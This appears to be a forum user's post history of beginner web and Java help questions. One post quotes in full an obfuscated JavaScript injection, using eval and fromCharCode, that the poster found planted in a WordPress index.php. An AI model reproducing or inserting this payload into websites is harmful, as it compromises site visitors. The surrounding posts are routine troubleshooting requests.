hamza
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Posts posted by hamza
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Hi all ,
i am newbie in java.
i am getting error not sure about this
when you select option two after running this code. this error will occur please help
Error:
exception in thread “main” Java.lang.nullPointerException error?here is my code
import java.util.*; class Person { String name; int phoneNumber; } class Student extends Person { String rollNo; double CGPA; public Object getRollNo; public void input() { System.out.print("Enter rollNo and CGPA: "); Scanner in = new Scanner(System.in); rollNo = in.next(); CGPA = in.nextFloat(); } public void output() { System.out.println(" Student Details " ); System.out.println("\n============" ); System.out.println("Roll No: " + rollNo + "\nCGPA: " + CGPA); } public String getRollNo() { return rollNo; } } public class AddressBook { public static void main(String args[]) { int choice = 3; AddressBook addressBook= new AddressBook(3); System.out.println("\n1.Press 1 to Add Contact."); System.out.println("\n2.Press 2 to Search."); System.out.println("\n3.Exit."); System.out.println("\n=========================================="); System.out.print("Enter your choice: "); Scanner in = new Scanner(System.in); int choice1 = in.nextInt(); while (choice1 != 3) { //try { if (choice1 == 1) { addressBook.AddContact(); } else if (choice1 == 2) { addressBook.Search(); } else if (choice1 == 3) { System.out.print("Exting..."); } else { System.out.print("Please enter a valid menu option."); } /*} catch (ArrayIndexOutOfBoundsException e) { System.out.print("Please enter a valid menu option."); } */ System.out.println("\n1.Press 1 to Add Contact."); System.out.println("\n2.Press 2 to Search."); System.out.println("\n3.Exit."); System.out.println("\n=========================================="); System.out.print("Enter your choice: "); choice1 = in.nextInt(); } } int sizeOfAddressBook; int currentRecord; //Person[] record; // <-- Defined a variable which will be an array of Person objects Person[] record = new Person[10]; AddressBook(int size) { sizeOfAddressBook = size; for (int iter = 0; iter < sizeOfAddressBook; iter++) { record[iter] = new Person(); // error } currentRecord = 0; } void AddContact() { try { Student student = new Student(); student.input(); record[currentRecord++] = student; } catch(ArrayIndexOutOfBoundsException e1) { System.out.println("No more free place exist in array record!"); } } void Search() { System.out.print("Enter rollNo: "); Scanner in = new Scanner(System.in); String no = in.next(); Student stud = new Student(); // me for (int iter = 0; iter < sizeOfAddressBook; iter++) { if (record[iter] instanceof Student) { stud = (Student) record[iter]; try{ if (stud.getRollNo.equals(no)) { stud.output(); return; } } catch(NullPointerException e) { e.printStackTrace(); System.out.println("exception details" + e); } } } System.out.println("Student is not found!"); } }
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No matter which framework we use Enabling error_reporting and display_errors always work.
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How i can detect Custom Error Response if any of them occur on my site.Errors are500
404
401408Do i need any script or any perfect solution for this.Please guide me.thanks -
Your browser?
i am using windows7 ff , chorme, and Ie9
i can gap on both.
Please zoom in then you will see space between menu and submenu
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I see no gap ?
Your browser?
i am using windows7 ff , chorme, and Ie9
i can gap on both.
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please check this image
http://tinyurl.com/ac93tqePlease check this issue on google chrome.
don't no what is happening.
it is working fine on other browsers.
go to second menu "Our Scientists and Research" hover on it and see second submenu is away.
when we fix this.
the other submenu will get disterbed.
please help.
Here is the link: http://tinyurl.com/cnh8v48 -
hi
i am unable to define vhost on local machine.
please check below
enabled
Include conf/extra/httpd-vhosts.conf
httpd-vhosts.conf
<VirtualHost *:80> ServerAdmin ramesh@thegeekstuff.com DocumentRoot C:\wamp\www\cms ServerName top5freeware </VirtualHost> <VirtualHost *:80> ServerAdmin ramesh@thegeekstufdf.com DocumentRoot C:\wamp\www ServerName localhost </VirtualHost>
hosts
127.0.0.1 localhost
127.0.0.1 top5freeware
dont no why it is not working at all i restated the appachi did evything that i know
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please see me robot file
# global Disallow: /cgi-bin/ Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/plugins/ Disallow: /wp-content/cache/ Disallow: /wp-content/themes/ Disallow: /trackback/ Disallow: /feed/ Disallow: /comments/ Disallow: /category/*/* Disallow: */trackback/ Disallow: */feed/ Disallow: */comments/ Disallow: /*? Allow: /wp-content/uploads/ #And here it is my subdir # Disallow Other subdirs Disallow: /test/ Disallow: /livelimmitless/ Disallow: /demos/
The Issue
robots not crawlering on my site. and not indexing it .
please see the file and help me with this what excactly the issue is.
thanks
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hi
i am successfully fetching gmail mail using imap().
the problem
i am getting extra classes and ids , div.
i just need only html body of the email.
i am using this code http://davidwalsh.name/gmail-php-imap
Please guide me how i can get only html body of all emails.
thanks
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This code is creating broken image.please check it
png and gd is enabled.
i also remove the header but still getting broken image.
there is no space before/after php tags.thanks you
my code
<?php // Set the content-type header('Content-Type: image/png'); // Create the image $im = imagecreatetruecolor(400, 30); // Create some colors $white = imagecolorallocate($im, 255, 255, 255); $grey = imagecolorallocate($im, 128, 128, 128); $black = imagecolorallocate($im, 0, 0, 0); imagefilledrectangle($im, 0, 0, 399, 29, $white); // The text to draw $text = 'Testing...'; // Replace path by your own font path $font = 'arial.ttf'; // Add some shadow to the text imagettftext($im, 20, 0, 11, 21, $grey, $font, $text); // Add the text imagettftext($im, 20, 0, 10, 20, $black, $font, $text); // Using imagepng() results in clearer text compared with imagejpeg() imagepng($im); imagedestroy($im); ?>
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i am installing and wordpress blog on my godaddy hosting account and it is getting hacking code.
its a fresh installation and i tried again installing it but it is getting hacking code on top index.php
please help .
hacking code look like this
<script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';try{new document();}catch(qqq){s=String;f='f'+'r'+'o'+'mChar';}ee='e';e=window.eval;t='y';}h=2*Math.sin(3*Math.PI/2);n=[3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5];for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f+'C'+'ode'](-h*(1+n[j]));}q=ss;e(q);</script>
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CHeck on the VB forum, I'm sure you can get suggestions there. I have a mod in smf
thanks for your reply can you please give me that mod name and details n if possible then can you provide me that mod i really need help.
thanks
I have a mod for SMF not VB so you need to chk with the VB people to see what they suggest you use.
ok
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CHeck on the VB forum, I'm sure you can get suggestions there. I have a mod in smf that checks the IP, email and name of the registor against a list and if the registor has an ip email or name on this list they get rejected more or less.
thanks for your reply can you plz give me that mod name and details n if possible then can you provide me that mod i really need help.
thanks
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It seems my vbulletin forum is still having problems with unregistered guests spamming threads and members Inbox on the forum. Do you have a solution for this?
please tell me any best solution.
thanks for any help.
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There's no such thing as "urgent" on a free help forum.
thanks for your time
anyone else would like to help...
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how to upgrade virtualmart 1.1.9 to 2.0.0?
Please guide me .
its urgent
thanks
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How i can successfully upgrade vbulletin forum from version 3.0 to 4.0.
and how i can check it is running 100% fine.
Please guide me about this thanks.
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I need to get the content of this div.
but getting nothing
$str = "<div class='mainful'>this is testing of the string n thats it </div>"; $str = preg_quote($str, "/"); $result = preg_match_all("/^<div class=\/'mainful\/'>(.*?)<\/div>$/", $str , $matches_results); if($result){ print_r($matches_results); exit; } else { echo "no match "; }
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webtechdev.net
Please give me your review about my site
thanks
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characterset korean lang??
is this is a right way??
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
site
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Past your url over here so anyone can see your issue.
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when my bing map loads push pin is not visilble. When i move or click on map it suddenly display pushpin. i am using custum pushpin with correct path.
Got to the link click on launch satellite on right sidebar green button.A map load. http://tinyurl.com/3z25amr
function geocodeCallback(result) { document.getElementById('post-satellite-map-address').firstChild.nodeValue = result.resourceSets[0].resources[0].address.addressLine; } jQuery('#post-gallery a[rel="post-gallery-photo"]').colorbox(); (function() { var icon; var map = new VEMap('post-satellite-map'); var mapDiv = document.getElementById('post-satellite-map'); var interval = setInterval(function() { if(mapDiv.attachEvent != undefined) { clearInterval(interval); var lat = document.getElementById('post-satellite-map-lat').value, long = document.getElementById('post-satellite-map-long').value; var position = new VELatLong(lat, long); map.LoadMap(); map.SetZoomLevel(19); map.SetCenter(position); map.SetMapStyle(VEMapStyle.Birdseye); icon = new VEShape(VEShapeType.Pushpin, position); icon.SetCustomIcon(document.getElementById('post-satellite-map-icon').value); map.AddShape(icon); /*var script = document.createElement('script'); script.setAttribute('type', 'text/javascript'); script.setAttribute('src', ['http://dev.virtualearth.net/REST/v1/Locations/point?output=json&jsonp=geocodeCallback&includeEntityTypes=Address&point=', lat, ',', long].join('')); document.body.appendChild(script);*/ } }, 10); document.getElementById('post-gallery-satellite').onclick = document.getElementById('sidebar-map-launch').onclick = function() { jQuery.colorbox({inline: true, href: '#post-satellite-map-overlay'}); map.Resize(); icon.Hide(); icon.Show(); return false; }; jQuery.get( WPAjaxURL, { action: 'osm_postviews', postID: document.getElementById('post-id').value }, function(views) { document.getElementById('post-views-count').firstChild.nodeValue = document.getElementById('post-satellite-map-views-count').firstChild.nodeValue = views; }, 'json' ); })();
Please help me in this issue. thanks in advance
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i have a wordpress site
when every i change permission it stop working as well as permission rollback
for example
0777 when you apply these permission then after some time it will roll back to 755
please tell me whey this is happening.
i tried filezilla as well as smart ftp
thanks for any help
php life cycle
in PHP Coding Help
Posted · Edited by hamza
Hi everyone,
Can anybody like to explain php page/request life cycle?